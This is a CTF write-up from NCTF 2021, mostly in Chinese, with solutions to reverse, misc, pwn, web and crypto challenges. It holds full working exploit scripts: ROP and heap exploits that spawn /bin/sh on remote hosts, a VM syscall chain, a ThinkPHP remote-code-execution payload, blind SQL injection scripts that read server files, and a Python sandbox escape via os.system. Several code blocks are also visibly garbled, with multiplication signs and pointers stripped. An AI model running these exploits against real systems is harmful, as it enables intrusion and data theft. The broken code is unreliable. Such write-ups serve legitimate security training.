WriteUps_of_NCTF.by_0xb14cb12d - writeup | De3B4t0 = Great-Station = Come on!Let us do it!

tangpingju

Final Ranks: 1st

# Reverse

# Hello せかい | DONE

拖进 IDA 看到明文 flag

# Shadowbringer | DONE

c++ 实现的两次 base64 加密
两次的表互为逆序串，且 padding 为由 = 变为！

	#include <stdio.h>
	#include <stdio.h>
	#include <stdlib.h>
	#include <math.h>
	#include <string.h>

	char table[] = "#$%&'()*+,-.s0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[h]^_`ab";
	char padding_char = '!';

	int findchr(char *array, char ch) {
	for(int i = 0; i < strlen(array); i++) {
	if(array[i] == ch) {
	return i;
	}
	}
	return 0;
	}

	void b64encode(char src, char result) {
	int fill_byte = 0, result_length = 0, index = 0, data_length = strlen(src);
	// bool full = true;
	fill_byte = (3-data_length)%3;
	for(int k = 0; k < fill_byte; k++) {
	src[data_length + k] = '\0';
	}
	int j = 0;
	for(int i = 0; i < data_length; i += 3) {
	index = src[i] >> 2;
	result[j++] = table[index];
	index = ((src[i] & 3) << 4) + (src[i+1] >> 4);
	result[j++] = table[index];
	index = ((src[i+1]&15) << 2) + (src[i+2] >> 6);
	result[j++] = table[index];
	index = (src[i+2]&0x3f);
	result[j++] = table[index];
	}
	result_length = strlen(result);
	for(int k = 0; k < fill_byte; k++) {
	result[result_length - 1 - k] = padding_char;
	}
	}

	void b64decode(char src, char result) {
	int base_len = strlen(src);
	int j = 0;
	for(int i = 0; i < base_len; i++) {
	if (src[i] == padding_char)
	src[i] = 'A';
	}
	for(int i = 0; i <base_len; i += 4) {
	result[j++] = (findchr(table, src[i]) << 2) + (findchr(table, src[i+1]) >> 4);
	result[j++] = (findchr(table, src[i+1]) << 4) + (findchr(table, src[i+2]) >> 2);
	result[j++] = ((findchr(table, src[i + 2]) & 3) << 6) + (findchr(table, src[i+3]));
	}
	}

	int main() {
	char de_words[100] = {'\0'};
	char en_words[100] = "6G074JP+s)WV:Z+T<&(Q18`Ks)WV:Y4hs9[h:YCS?&0`!";
	b64decode(en_words, de_words);
	printf("encode:%s\n", en_words);
	printf("decode:%s\n", de_words);
	return 0;
	}

# shark | DONE

根据反调试相关代码位置的初始化，自己可以生成一份数据。拿到数据之后实际上就可以不用管数据了，直接 patch 反调试的位置然后只关注流程

	#include <stdio.h>
	#include <stdint.h>

	int main() {
	int32_t num = 0xEDB88320;
	int32_t v5 = 0;
	uint32_t v6 = 0;
	int16_t v7 = 0;
	int32_t wtf_table[256] = {0};

	do {
	v6 = (uint8_t)v5;
	v7 = 0;
	do {
	if ((v6 & 1) != 0)
	v6 = num ^ (v6 >> 1);
	else
	v6 = v6 >> 1;
	v7++;
	}
	while (v7 < 8);
	wtf_table[v5] = v6;
	v5++;
	}
	while (v5 != 256);
	for (int i = 0; i < 256; i++) {
	printf("%#x, ", wtf_table[i]);
	}
	return 0;
	}

拿到之后根据程序流程获得汇编，由于 patch 了啥只与地址相关，可以不用管输入具体是什么。模拟加密之后，可以猜测是每两个字节取输入，进行 20 轮相同的加密，考虑直接爆破。
在模拟过程中注意：

逻辑右移的实现方法
取低 8 bits

	asm = [
	'mov ds:dword_404E50, 0FFFFFFFFh',
	'mov ecx, ds:dword_404E40',
	'mov dl, [ecx+4049F8h]', # input[0]
	'mov byte ptr ds:unk_404E4C, dl',
	'movzx eax, ds:byte_404E4C',
	'xor eax, ds:dword_404E50',
	'mov ds:byte_404E4C, al', # get the low 8 bits of eax
	'movzx ecx, ds:byte_404E4C',
	'and ecx, 0FFh', # (input[0] ^ 0xffffffff) & 0xff & 0xff
	'mov ds:byte_404E4C, cl',
	'mov edx, ds:dword_404E50',
	'shr edx, 8',
	'mov ds:dword_404E50, edx',
	'movzx eax, ds:byte_404E4C',
	'mov ecx, ds:dword_404E50',
	'xor ecx, ds:wft_table[eax*4]',
	'mov ds:dword_404E50, ecx',
	'mov edx, ds:dword_404E40',
	'mov al, [edx+4049F9h]', # input[1]
	'mov ds:byte_404E4C, al',
	'movzx ecx, ds:byte_404E4C',
	'xor ecx, ds:dword_404E50',
	'mov ds:byte_404E4C, cl', # get the low 8 bits of ecx
	'mov edx, ds:dword_404E50',
	'shr edx, 8',
	'mov ds:dword_404E50, edx',
	'movzx eax, ds:byte_404E4C',
	'mov ecx, ds:dword_404E50',
	'xor ecx, ds:wft_table[eax*4]'
	'mov ds:dword_404E50, ecx'
	'mov edx, ds:dword_404E50'
	'xor edx, 0FFFFFFFFh',
	'mov ds:dword_404E50, edx'
	]

	patch_length = [0x0000020A, 0x00000226, 0x00000236, 0x00000216, 0x00000317, 0x00000206, 0x00000115, 0x00000317, 0x00000FF6, 0x00000216, 0x00000206,
	0x00000FF3, 0x00000206, 0x00000317, 0x00000206, 0x00000347, 0x00000206, 0x00000226, 0x00000236, 0x00000115, 0x00000317, 0x00000206,
	0x00000216, 0x00000206, 0x00000FF3, 0x00000206, 0x00000317, 0x00000206, 0x00000347, 0x00000206, 0x00000206, 0x00000FF3, 0x00000206]

	wtf_table = [0, 0x77073096, 0xee0e612c, 0x990951ba, 0x76dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0xedb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x9b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x1db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x6b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0xf00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x86d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x3b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x4db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0xd6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0xa00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x26d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x5005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0xcb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0xbdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d]


	magic = [0xC0F6605E, 0x00B16E0A, 0x3319A2D2, 0x57CAB7B7, 0x9A646D9C, 0xBDD82726, 0xD838FB91, 0x8DE10BB3, 0x176B0DAD, 0x685FDEEF,
	0x2C1FF7B1, 0x6C444296, 0xA15CFE90, 0x20CD8721, 0x62967CE8, 0x2C1641FD, 0x572D0F9A, 0xAE52DC2C, 0x50497DCF, 0xFF6ABF4A]

	def gen_patch_length_table():
	result = []
	for i in patch_length:
	result.append(i&0xf)

	return result


	def unsigned32(signed):
	return signed % 0x100000000

	def enc_func(a, b):
	result = 0xFFFFFFFF
	temp = (result ^ a) & 0xff
	result = unsigned32(result) >> 8
	result = result ^ wtf_table[temp]
	temp = (result ^ b) & 0xff
	result = unsigned32(result) >> 8
	result = result ^ wtf_table[temp]
	result ^= 0xFFFFFFFF
	return result

	def patch(addr, patch_table_item):
	v2 = patch_table_item >> 8
	choice = patch_table_item >> 4
	if choice == 0:
	pass
	elif choice == 1:
	pass
	elif choice == 2:
	pass
	elif choice == 3:
	pass
	elif choice == 4:
	pass

	if __name__ == '__main__':
	flag = []
	for cnt in range(len(magic)):
	for i in range(256):
	for j in range(256):
	if enc_func(i, j) == magic[cnt]:
	flag.append(i)
	flag.append(j)
	break

	print(bytes(flag))

# Misc

# Hello File Format | Done

神必文件，和 GPU 和 mac 没有任何关系，转为图片就行了

	f1 = open('chall','rb').read()
	chall = []
	for i in f1:
	chall.append(int(i))
	#print(chall)
	from PIL import Image, ImageDraw
	t = Image.new('RGB',(1080,1920*3))
	for x in range(1080):
	for y in range(1920*3):
	if chall[x * 1920*3 + y] == 255:
	t.putpixel((x,y),(255,255,255))
	t.save('t.jpg','jpeg')

得到图片翻转一下就好了

# Hex 酱的秘密花园 | Done

ban 了这些

不过可以 import os ，用修饰器去打。 [].__doc__ doc 的基本 3.6.9 与 3.9 不同。

不知道为啥 3.6.9 不能给 lambda 套修饰器

	# l d[0]
	# i d[1]
	# t d[3]
	# n d[10]
	# a d[-12]
	# s d[-1]
	# f d[-21]
	# e d[11]
	# ls d[0]
	# g l[42]
	# " " l[47]

	import os
	d = [].__doc__
	l = {}.__doc__
	command = d[10]+d[0]+l[47]+d[-21]+d[0] +d[-12]+l[42]
	f1 = os.system
	a = lambda a:command
	@f1
	@a
	class _:pass

# 做题做累了来玩玩游戏吧 | Done

unity 逆向，找到 Assembly-CSharp.dll，拖进 dnspy，可以说是 flag 贴脸了

# Pwn

栈迁移，写了 close 的最低字节到 \xa9 处也就是 syscall 命令处

	from pwn import*

	#p=process('./login',env={'LD_PRELOAD':'./libc-2.31.so'})
	#p=process('./login')
	p=remote('129.211.173.64',10005)
	#libc=ELF('./libc-2.31.so')
	elf=ELF('./login')
	#context.log_level='debug'

	def csu(func_ptr,rdi,rsi,rdx):
	payload=p64(0x40128a)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(func_ptr)+p64(0x401270)
	payload+=p64(0)*7
	return payload

	main_addr=0x4011ed
	ret_addr=0x401220
	leave_ret=0x40121f
	bss=0x404090
	read_got=elf.got['read']
	close_got=elf.got['close']

	#gdb.attach(p,'b *0x40121f\nc\n')
	p.recvuntil("Welcome to NCTF2021!")
	p.send(b'a'*0x100+p64(bss+0x100)+p64(main_addr))

	payload=csu(read_got,0,close_got,1)+csu(read_got,0,bss,59)+csu(close_got,bss,0,0)
	p.send(payload[0:0x100]+p64(bss+0x400)+p64(main_addr))

	p.send(b'a'*0x100+p64(bss+0x100+0x100)+p64(main_addr))

	#gdb.attach(p,'b *0x40121f\nc\n')
	payload=csu(read_got,0,close_got,1)+csu(read_got,0,bss,59)+csu(close_got,bss,0,0)
	p.send(payload[0x100:].ljust(0x100,b'\x00')+p64(bss-0x8)+p64(leave_ret))

	p.send(b'\xa9')
	p.send(b'/bin/sh\x00'.ljust(59,b'\x00'))

	p.interactive()

这题关闭了 stdout 和 stderr, 拿到 shell 后 cat flag>&0

# ezheap | DONE

申请 9 个 chunk 然后都 free 掉，8 和 9 就合并放到 unsorted 里了，然后空出一个 tcache 位置后再 free 一次 9，就有 chunk 复用了

	from pwn import*

	#p=process('./ezheap',env={'LD_PRELOAD':'./libc-2.33.so'})
	p=remote('129.211.173.64',10002)
	libc=ELF('./libc-2.33.so')
	#p=remote('129.211.173.64', 10002)
	#context.log_level='debug'

	def cmd(idx):
	p.sendlineafter(">> ",str(idx))

	def alloc(size,content):
	cmd(1)
	p.sendlineafter("Size: ",str(size))
	p.sendlineafter("Content: ",content)

	def edit(idx,content):
	cmd(2)
	p.sendlineafter("Index: ",str(idx))
	p.sendlineafter("Content: ",content)

	def delete(idx):
	cmd(3)
	p.sendlineafter("Index: ",str(idx))

	def show(idx):
	cmd(4)
	p.sendlineafter("Index: ",str(idx))

	#leak
	for i in range(10): #0-9
	alloc(0x80,b'a')
	for i in range(9):
	delete(i)
	show(1)
	tmp=u64(p.recv(8))
	ptr0_11=tmp>>36
	ptr0_23=((ptr0_11<<24)^tmp)>>24
	ptr0_35=((ptr0_23<<12)^tmp)>>12
	heap_base=ptr0_35<<12
	print("heap_base: ",hex(heap_base))
	show(7)
	leak_libc=u64(p.recv(8))
	libc_base=leak_libc-0x1e0c00
	print("libc_base: ",hex(libc_base))

	#overlap
	system=libc_base+libc.symbols['system']
	free_hook=libc_base+libc.symbols['__free_hook']
	print('free_hook: ',hex(free_hook))
	alloc(0x80,b'a') #10
	delete(8)
	alloc(0x70,'a') #11
	ptr_addr=heap_base+0x720
	alloc(0x70,b'\x00'*0x8+p64(0x19)+p64(free_hook^(ptr_addr>>12))) #12
	alloc(0x80,b'/bin/sh\x00') #13
	alloc(0x80,p64(system)) #14

	#gdb.attach(p)
	delete(13)
	p.interactive()

# vmstack | DONE

	from pwn import*

	#p=process('./vmstack')
	p=remote('129.211.173.64',10001)
	context.log_level='debug'

	p.recvuntil("Input your op code:")

	#push 29,1111,0x100,0666\|IPC_CREAT; pop rdx,rsi,rdi,rax; syscall
	payload=b'\x00'+p64(29)+b'\x00'+p64(1111)+b'\x00'+p64(0x100)+b'\x00'+p64(950)
	payload+=b'\x09'+b'\x08'+b'\x07'+b'\x06'
	payload+=b'\x0c'
	#push v18;pop rdi;push 30,0,0; pop rdx,rsi,rax; syscall
	payload+=b'\x01'+b'\x07'
	payload+=b'\x00'+p64(30)+b'\x00'+p64(0)+b'\x00'+p64(0)
	payload+=b'\x09'+b'\x08'+b'\x06'
	payload+=b'\x0c'
	#push v18;push v18;pop rsi;push 0,0,0x8; pop rdx,rdi,rax;push v18 syscall read()
	payload+=b'\x01'+b'\x01'+b'\x08'
	payload+=b'\x00'+p64(0)+b'\x00'+p64(0)+b'\x00'+p64(0x8)
	payload+=b'\x09'+b'\x07'+b'\x06'
	payload+=b'\x0c'
	#pop rdi;push rdi;push 2,0,0; pop rdx,rsi,rax; syscall open()
	payload+=b'\x07'+b'\x03'
	payload+=b'\x00'+p64(2)+b'\x00'+p64(0)+b'\x00'+p64(0)
	payload+=b'\x09'+b'\x08'+b'\x06'
	payload+=b'\x0c'

	#push v18;pop rdi;pop rsi;push rsi;push 0,0x30; pop rdx,rax; syscall read()
	payload+=b'\x01'+b'\x07'
	payload+=b'\x08'+b'\x04'
	payload+=b'\x00'+p64(0)+b'\x00'+p64(0x30)
	payload+=b'\x09'+b'\x06'
	payload+=b'\x0c'

	#push 1,1; pop rdi,rax; syscall write()
	payload+=b'\x00'+p64(1)+b'\x00'+p64(1)
	payload+=b'\x07'+b'\x06'
	payload+=b'\x0c'

	#gdb.attach(p)
	p.sendline(payload)

	p.sendline(b'./flag\x00')
	#p.recv()
	p.interactive()

# Web

# 摆就完事了 | DONE

没开强制路由直接 rce 写 shell
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

# 摆就完事了 2.0 | DONE

http://129.211.173.64:8086/public/index.php/index/index/index

延时盲注
过滤了空格，payload

http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((substr((select(database())),11,1)="f")),10,0))&username[2]=1substr((select(database())),11,1)="f"

	import requests
	import time

	result = ''
	for i in range(1, 1000):
	min = 33
	max = 126
	mid = (min + max) // 2
	print(i)

	while max - min > 1:

	'''url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((ascii(substr((select(database())),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(database())),{},1))>{}".format(
	i, mid, i, mid)'''
	'''url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[
	1]=sleep(if(((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(
	table_schema=database())),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{}".format(i,mid,i,mid) '''
	#url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='m1saka')),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='m1saka')),{},1))>{}".format(i,mid,i,mid)
	url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if(((ascii(substr((select(load_file('/var/www/html/ffllaagg.php'))),{},1))>{})),0.5,0))&username[2]=1ascii(substr((select(load_file('/var/www/html/ffllaagg.php'))),{},1))>{}".format(i,mid,i,mid)
	time1 = time.time()
	r = requests.get(url=url)
	time2 = time.time()
	time0 = time2-time1
	if time0 < 0.5:
	max = mid
	mid = (max + min) // 2

	else:
	min = mid
	mid = (max + min) // 2

	result += chr(max)
	print(result)

`nctf{m1saka_wanna_marry_liyuu_}``

# ezsql | DONE

password=%25s&name[0]=) union select 1,2,3#&name[1]=1

	import requests
	import time

	result = ''
	for i in range(1, 1000):
	min = 33
	max = 126
	mid = (min + max) // 2
	print(i)

	while max - min > 1:

	url = "http://129.211.173.64:3080/login.php"
	#payload = ") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}#".format(i, mid)
	#payload = ") or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x4e635446),{},1))>{}#".format(i, mid)
	payload = ") or ascii(substr((select(group_concat(`fl@g`))from(`NcTF`)),{},1))>{}#".format(i, mid)
	data = {
	"password": "%s",
	"name[0]": payload,
	"name[1]": 1
	}
	time.sleep(0.1)
	r = requests.post(url=url, data=data)

	if 'Wrong' in r.text:
	max = mid
	mid = (max + min) // 2

	else:
	min = mid
	mid = (max + min) // 2

	result += chr(max)
	print(result)

和前面那一半拼一起： NCTF{3v3ryth1ng_not_fantast1c_:)}

# Crypto

k/1<<1024 连分数直接做

	from Crypto.Util.number import*
	k = 94541588860584895585135152950569493777168309607384495730944110393788712443252059813470464503558980161423182930915955597122997950103392684040352673659694990925903156093591505153081718027169554019948988048641061593654540898258994671824807628660558123733006209479395447337793897155523508261277918178756662618785
	n = 780382574657056148524126341547161694121139907409040429176771134165303790043856598163799273195157260505524054034596118923390755532760928964966379457317135940979046201401066257918457068510403020146410174895470232276387032511651496790519359024937958635283547294676457588680828221680705802054780628993173199987362419589945445821005688218540209709368995166794607635504501281131700210990592718388166388793182269128127850804650083811982799377308916540691843310867205397
	c = 601133470721804838247833449664753362221136965650852411177773274117379671405966812018926891137093789704412080113310175506684194683631033003847585245560967863306852502110832136044837625931830243428075035781445021691969145959052459661597331192880689893369292311652372449853270889898705765869674961705116875378568712306021536838123003111819172078652012105725060809972222290408551883774305223612755026614701916201374200602892717051698568751566665976546137674450533774

	def lianfenshu(n,e):#连分数
	s=[]
	while n >0:
	k=e//n
	s.append(k)
	e1=e
	n1=n
	n=e1-k*n
	e=n1
	return s
	def convergents(e):##e 为连分数的 []
	d = []
	n = []
	for i in range(len(e)):
	if i == 0:
	di = e[i]
	ni = 1
	elif i == 1:
	di = e[i]*e[i-1] + 1
	ni = e[i]
	else: # i > 1
	di = e[i]*d[i-1] + d[i-2]
	ni = e[i]*n[i-1] + n[i-2]
	n.append(ni)
	d.append(di)
	return n,d
	a = 1<<1024
	nn=convergents(lianfenshu(a,k))[0]
	ee=convergents(lianfenshu(a,k))[1]

	for i in ee:
	if (i)==0 or i ==1:
	continue
	if n%(i) == 0:
	print(i)
	p = 9591034708161364221769733163551836281062083244512519384396165987809544507968391606587728397659016542948096617311787604058178460710869231247971978002127911

	c = c%p
	print(long_to_bytes(pow(c,inverse(65537,p-1),p)))

# dsa | DONE

HNP 直接日. x 是 (2**256+1) prime ，k 的高 256 已知。

	from Crypto.Util.number import*
	from hashlib import*
	from sage.all import*
	q = 4065074330205980877463463424406813850154275302695361748314870346411329051948044450952905063182483477758495116696164996888846308775044737816809015524088898203

	y = 7743982251072012463264403932580827621959049035277930304818871889119878506480333248188293037455476433705911511645160292331990658781048396135284434991466243636
	h = 19480592192543881131267167328019941277106895469291691207381812905033306766991
	r = 962433004607153392099715322793248884218264181538005666659905851247468102959956625098831516046715446615198437005036117685792905736788216987378584513020215442
	s = 1861254747644911591100925843087118347161726578606012243057783788330822542299254180561801871884967022902307837045926190782819951409650425825871898890839825777

	g = 3
	p = 2*q+1

	h = hex(h)[2:]
	k_high = int.from_bytes(sha256(h.encode().hex().encode()).digest(), "big") * (1<<256)
	h = int(h,16)
	A = r * inverse(s,q) *((1<<256) + 1) % q
	B = (h * inverse(s,q) - k_high) % q
	M = Matrix(ZZ,[[q,0,0],[A,1,0],[B,0,1<<256]])
	tempM = (M.LLL())
	x = tempM[0,1]

	x = int(x)
	x = x(2*256+1)
	xxx = int(sha256(x.to_bytes(128, "big")).hexdigest(),16)
	flag = h^xxx
	print(hex(flag))

# rsa | Done

m ^ e % p = ab^e%p = a^e%p * b^e % p

只要找到碰撞就可以了

m 32 位

a,b 爆 18 位

	from Crypto.Util.number import*
	from gmpy2 import powmod,invert
	e = 0x10001

	c_list = []
	def brute(c,n):
	S = {powmod(i,e,n): i for i in range(1,1<<18)}
	for i in range(1,1<<18):
	tmp = c * invert(powmod(i,e,n),n) % n
	if tmp in S:
	return i*S[tmp]
	return None

	from pwn import *
	from Crypto.Util.number import *
	from hashlib import sha256
	import string
	from pwnlib.util.iters import mbruteforce

	table = string.ascii_letters+string.digits
	def prow(io):
	io.recvuntil(b"XXXX+")
	suffix = io.recv(16).decode("utf8")
	io.recvuntil(b"== ")
	cipher = io.recvline().strip().decode("utf8")
	proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
	cipher, table, length=4, method='fixed')
	io.sendlineafter(b"XXXX:", proof)
	# context.log_level = 'debug'
	while 1:
	try:
	# io = remote("0.0.0.0",38000)
	io = remote("43.129.69.35",10002)
	io.recvuntil(b'n = ')
	n = int(io.recvline().strip())
	prow(io)

	io.recvuntil(b'c0 = ')
	c_list.append(int(io.recvline().strip()))
	io.recvuntil(b'c1 = ')
	c_list.append(int(io.recvline().strip()))
	io.recvuntil(b'c2 = ')
	c_list.append(int(io.recvline().strip()))
	io.recvuntil(b'c3 = ')
	c_list.append(int(io.recvline().strip()))
	secret = b''
	for c in c_list:
	S = brute(c,n)
	print(S)
	secret += long_to_bytes(S)
	io.recv()
	io.sendline(secret.hex().encode())
	io.interactive()
	except:
	io.close()
	continue

# dlp | After Done....

option 1 可以拿到 bin

option 2 为了拿 flag

$s_{n} = s_{n-1}^2\mod p\\ s_1 = s_0^2\mod p\\ s_2 = s_1^2\mod p = s_0^4\mod p\\ s_3 = s_2^2\mod p = s_1^4\mod p=s_0^8\mod p\\ s_n = s_0^{2^n}\mod p$

$m^{s_0^{2^i}}\mod p=c_i\\ sec^{s_0}\mod p = \text{0xdeadbeef}$

赛中的时候写的个 test... 脑子糊的直接就 sb 了...

调的人傻了... 就完全不知道咋搞了...

第二天如果还有题再也不熬夜摸鱼了...

	from Crypto.Util.number import *
	p = 144622268328968993341365710278894755118767129325286994164661347213200068288320713151689155598130690763440455157929587751885813242814750422828312072382119518429040602281694119210475772654999865828418886175678335978908269120940864300610431302161143383386149363868608635140950451657400233892787130315426229955639
	s = [getPrime(100)]
	msg = 0xdeadbeef

	for i in range(1023):
	s.append(s[i]s[i]%(p-1))# s[i] == s[0] * (2 ** i) % p

	# s[0] ** (p-1) - s[0]
	a = pow(msg,pow(s[0],p-1,p) * inverse(s[0],p-1),p) # msg (s0 (p-1) * s0^-1) % p = msg
	b = a
	tmp = pow(b,s[0],p)
	print(hex(tmp))
	tmpa = pow(msg,pow(s[0],p-1,p))
	def enc(msg,k):
	return (pow(msg,s[k],p))
	# s[0] ^ 2 ^ i
	C = msg
	L = bin((p-1))[2:][::-1]

	P = ['0' for _ in range(1024)]
	for i in range(len(L)):
	if L[i] == '1':
	C = enc(C,i)
	print(enc(C,0))
	print(tmpa)

上面就是 G 了的，只要改 1 行代码就行。

	from Crypto.Util.number import *
	p = 144622268328968993341365710278894755118767129325286994164661347213200068288320713151689155598130690763440455157929587751885813242814750422828312072382119518429040602281694119210475772654999865828418886175678335978908269120940864300610431302161143383386149363868608635140950451657400233892787130315426229955639
	s = [getPrime(100)]
	msg = 0xdeadbeef

	for i in range(1023):
	s.append(s[i]s[i]%(p-1))# s[i] == s[0] * (2 ** i) % p

	# s[0] ** (p-1) - s[0]
	a = pow(msg,pow(s[0],p-1,p) * inverse(s[0],p-1),p) # msg (s0 (p-1) * s0^-1) % p = msg
	b = a
	tmp = pow(b,s[0],p)
	print(hex(tmp))
	tmpa = pow(msg,pow(s[0],p-1,p))
	def enc(msg,k):
	return (pow(msg,s[k],p))
	# s[0] ^ 2 ^ i
	C = msg
	L = bin((p-1)//2 -2)[2:][::-1]

	P = ['0' for _ in range(1024)]
	for i in range(len(L)):
	if L[i] == '1':
	C = enc(C,i)
	print(enc(C,0))
	print(tmpa)

WriteUp